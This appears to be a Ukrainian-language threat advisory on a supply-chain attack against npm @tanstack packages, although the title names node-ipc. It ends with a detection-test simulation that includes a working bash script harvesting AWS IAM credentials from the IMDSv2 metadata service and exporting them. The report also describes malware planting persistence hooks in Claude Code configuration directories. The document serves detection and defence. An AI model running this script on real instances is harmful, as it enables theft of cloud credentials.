Активна атака на ланцюг постачання компрометує пакет node-ipc

Резюме

Дослідники Socket виявили компрометацію ланцюга постачання, що впливає на 84 пакунки npm, опубліковані під @tanstack простором імен. Зловмисні оновлення ввели сильно заплутаний файл JavaScript, призначений для викрадення секретів, пов’язаних із CI, з GitHub Actions, AWS, HashiCorp Vault та середовищ Kubernetes, а потім використовували ці облікові дані для перевидання себе в npm. Завантаження також впроваджувало гачки збереження стійкості в каталогах конфігурації Claude Code і VS Code. Дослідники пов’язали цю активність з ширшою кампанією шкідливого програмного забезпечення Mini Shai-Hulud у ланцюзі постачання.

Розслідування

Розслідування виявило новий доданий файл, router_init.js, який використовував обертання масиву стрічок, додатковий XOR і шар декодування Base64, а також демонизацію для приховування своєї поведінки. Шкідливе ПЗ цілкувало змінні середовища, служби метаданих хмар і точки доступу API, пов’язані з GitHub, AWS, Vault та Kubernetes, для збору облікових даних. Воно поширювалося шляхом зловживання федерацією OIDC GitHub Actions для отримання токенів публікації npm і впровадило зловмисне optionalDependency on @tanstack/setup. Трафік ексфільтрації прямував через мережу децентралізованих повідомлень Session.

Мітигація

Організації, що постраждали від кампанії, повинні перевірити хеші для всіх @tanstack/* вмісту пакунків, перезавантажити всі облікові дані CI та хмарних облікових записів, анулювати відкриті дозволи федерації OIDC і видалити неавторизовані файли з .claude and .vscode каталогів. Блокування вихідного трафіку на filev2.getsession.org та примусове забезпечення цілісності для пакунків npm можуть ще більше зменшити ймовірність виникнення загрози. Робочі процеси GitHub Actions також слід посилити шляхом фіксації дій третіх сторін та мінімізації id-token дозволів.

Відповідь

Захисники повинні шукати наявність router_init.js та пов’язані імена файлів, спостерігати за підозрілими процесами, що запускаються, та попереджувати про доступ до визначених кінцевих точок метаданих хмар. Будь-які скомпрометовані пакунки слід ізолювати, зловмисні гачки видалити, а всі розкриті облікові дані негайно перезавантажити. Команди безпеки також повинні провести повний огляд активності GitHub Actions для несанкціонованого використання токенів і перевірити походження всіх опублікованих пакунків npm.

Симуляція виконання

Передумова: Перевірка телеметрії та базової лінії повинна бути пройдена.

Мотиви: Цей розділ детально описує точне виконання техніки супротивника (TTP), розробленої для виклику правила виявлення. Команди та наратив повинні безпосередньо відображати ідентифіковані TTP і мати на меті генерування точної телеметрії, очікуваної логікою виявлення. Абстрактні чи незв’язані приклади приведуть до неправильного діагнозу.

• Наратив атаки та команди:

  1. Отримайте токен сесії IMDSv2 – атакуючий відправляє PUT запит до кінцевої точки токена з TTL 21600 секунд.
  2. Використовуйте токен для запиту імені ролі IAM відкрите в /latest/meta-data/iam/security-credentials/.
  3. Отримайте тимчасові облікові дані IAM (AccessKeyId, SecretAccessKey, Token) для профіля екземпляру.
  4. Збережіть облікові дані локально для подальшого використання (наприклад, для виклику API AWS, повороту чи проведення атак методом “розпилення паролів”).

  Ці дії генерують HTTP-трафік до точних URI, вказаних в правилі Sigma, які, коли фіксуються журналом потоку VPC, повинні відповідати умовам виявлення.

• Скрипт для регресійного тестування:

  #!/usr/bin/env bash
  # -------------------------------------------------
  # Скрипт: aws_imds_credential_harvest.sh
  # Мета: Симулювати викрадання облікових даних через метадані IMDSv2 / ECS
  # -------------------------------------------------
  
  set -euo pipefail
  
  # 1. Запит токена IMDSv2
  TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" 
    -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" -s)
  
  if [[ -z "$TOKEN" ]]; then
    echo "[!] Не вдалося отримати токен IMDSv2"
    exit 1
  fi
  echo "[*] Отримано токен IMDSv2"
  
  # 2. Отримайте ім'я ролі IAM, пов'язане з екземпляром
  ROLE_NAME=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" 
    -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
  
  if [[ -z "$ROLE_NAME" ]]; then
    echo "[!] Невдалося отримати ім'я ролі IAM"
    exit 1
  fi
  echo "[*] Роль IAM екземпляра: $ROLE_NAME"
  
  # 3. Отримати тимчасові облікові дані для ролі
  CREDS_JSON=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" 
    -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME)
  
  echo "[*] Отримані облікові дані:"
  echo "$CREDS_JSON" | jq .
  
  # 4. (Опційно) Експортуватися як змінні середовища для подальшого використання AWS CLI
  export AWS_ACCESS_KEY_ID=$(echo "$CREDS_JSON" | jq -r .AccessKeyId)
  export AWS_SECRET_ACCESS_KEY=$(echo "$CREDS_JSON" | jq -r .SecretAccessKey)
  export AWS_SESSION_TOKEN=$(echo "$CREDS_JSON" | jq -r .Token)
  
  echo "[*] Облікові дані експортовано до середовища (лише для демонстрації)."
  # -------------------------------------------------
  # Кінець скрипту
  # -------------------------------------------------

• Команди для очищення:

  # Видалити змінні середовища, які містять тимчасові облікові дані
  unset AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY AWS_SESSION_TOKEN
  
  # Видалити всі тимчасові файли (в цьому скрипті не створюється)
  echo "[*] Очищення завершено."